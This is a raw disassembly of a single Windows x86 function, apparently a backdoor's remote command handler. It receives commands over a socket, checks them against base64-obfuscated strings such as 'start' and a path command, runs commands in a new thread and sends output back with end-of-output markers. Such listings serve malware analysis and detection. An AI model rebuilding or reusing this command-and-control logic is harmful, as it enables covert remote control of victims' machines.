Function at 0x404bb0
Capabilities:
Create thread
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x46c
mov dword [esp + 4], 0xb4
mov dword [esp], 0x78
lea edi, [esp + 0x60]
call fcn.004051b0
xor eax, eax
mov ecx, 0x100
mov dword [esp + 0x3c], 0xffffffff
rep stosd dword es:[edi], eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x40], 0
mov dword [esp], eax
call fcn.004049e4
test eax, eax
jne 0x404bba
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
lea eax, [esp + 0x40]
mov dword [esp + 8], 0x40a0a0
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00404910
test eax, eax
jne 0x404c51
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call fcn.004050e8
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
jmp 0x404c59
mov dword [esp + 0x40], 0x40a0a0
lea esi, [esp + 0x48]
mov byte [esp + 0x2f], 0
lea eax, [esp + 0x60]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ff
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov ebp, eax
lea eax, [esp + 0x60]
lea edi, [esp + 0x60]
mov dword [esp], eax
call fcn.00405228
mov dword [esp + 4], 5
mov dword [esp], 2
mov ebx, eax
call fcn.004051b0
xor eax, eax
mov ecx, 0x3ff
test ebp, ebp
rep stosb byte es:[edi], al
je 0x405069
mov dword [esp], str.c2hvb290
call fcn.00405228
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 0x44], eax
call sub.msvcrt.dll_strcmp
test eax, eax
lea eax, [esp + 0x44]
mov dword [esp], eax
jne 0x404d5f
call fcn.004050c4
mov dword [esp], str.Tk9VUA
lea edi, [esp + 0x4c]
call fcn.00405228
mov dword [esp], str.PDw8RU5EX09GX1NUQVRVUz4Pg
mov dword [esp + 0x4c], eax
call fcn.00405228
mov dword [esp + 0x50], eax
mov dword [esp + 8], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00405284
test eax, eax
lea eax, [esp + 0x50]
mov dword [esp], eax
jne 0x404e2f
call fcn.004050c4
mov dword [esp], edi
call fcn.004050c4
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
jmp 0x40508b
call fcn.004050c4
mov dword [esp], str.PDw8RU5EX09GX09VVFBVVD4Pg
call fcn.00405228
mov dword [esp + 8], 5
mov dword [esp + 4], str.start
mov dword [esp], ebx
mov dword [esp + 0x48], eax
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x404e44
mov eax, dword [esp + 0x3c]
add ebx, 5
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0x405188
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [esp + 0x58], ebx
mov dword [esp + 0x54], eax
lea eax, [esp + 0x4c]
mov byte [esp + 0x5c], 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x54]
mov dword [esp + 0xc], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
push edx
mov dword [esp + 4], 5
mov dword [esp], 2
lea edi, [esp + 0x50]
call fcn.004051b0
mov dword [esp], str.T0sgRE9ORQ
call fcn.00405228
mov edx, dword [esp + 0x48]
mov dword [esp + 0x50], eax
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.00405284
test eax, eax
je 0x404e3c
mov dword [esp], esi
call fcn.004050c4
mov dword [esp], edi
jmp 0x404f37
mov dword [esp], edi
jmp 0x404f4c
mov dword [esp + 8], 3
mov dword [esp + 4], 0x407122
mov dword [esp], ebx
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x404edc
lea edi, [ebx + 3]
mov dword [esp], edi
call fcn.0040413c
test eax, eax
jne 0x404edc
mov dword [esp], edi
mov dword [esp + 0x50], 0
call fcn.004050e8
test eax, eax
je 0x404e8c
mov dword [esp], str.QkFEIFBBVEg
jmp 0x404e93
mov dword [esp], str.T0sgUEFUSA
call fcn.00405228
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x48]
lea ebx, [esp + 0x50]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00405284
test eax, eax
je 0x404ecd
mov dword [esp], esi
call fcn.004050c4
mov dword [esp], ebx
jmp 0x404f37
mov dword [esp], ebx
mov ebx, edi
call fcn.004050c4
jmp 0x404f84
mov dword [esp], ebx
call fcn.00404340
test eax, eax
je 0x404f53
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
mov dword [esp], str.c3RhcnQgcmVxdWlyZWQ
call fcn.00405228
mov edx, dword [esp + 0x48]
mov dword [esp + 0x50], eax
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp], eax
call fcn.00405284
test eax, eax
lea eax, [esp + 0x50]
mov dword [esp], eax
je 0x404f4c
call fcn.004050c4
mov dword [esp], esi
call fcn.004050c4
add esp, 0x46c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.004050c4
jmp 0x404f84
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], 1
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404374
test eax, eax
je 0x404f84
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov dword [esp], esi
call fcn.004050c4
jmp 0x405098
mov dword [esp], esi
call fcn.004050c4
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
cmp byte [esp + 0x2f], 0
jne 0x40505a
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call fcn.004049bc
mov ebp, eax
mov edi, eax
mov al, byte [esp + 0x2f]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xc], 0
not ecx
mov dword [esp + 4], ebp
dec ecx
mov dword [esp + 8], ecx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
inc eax
jne 0x405012
mov dword [esp], ebp
call sub.msvcrt.dll_free
mov eax, dword [esp + 0x40]
test eax, eax
je 0x405098
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 0x40], 0
jmp 0x405098
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
mov dword [esp], ebp
call sub.msvcrt.dll_free
mov eax, dword [esp + 0x40]
test eax, eax
je 0x405046
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 0x40], 0
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
test ebx, ebx
mov byte [esp + 0x2f], 1
je 0x404c62
jmp 0x40508b
test ebx, ebx
je 0x405075
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
jmp 0x405098
mov dword [esp], ebx
call sub.msvcrt.dll_free
jmp 0x404c62
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
push eax
call sub.WS2_32.dll_WSACleanup
mov dword [esp + 4], 5
mov dword [esp], 2
call fcn.004051b0
jmp 0x404bba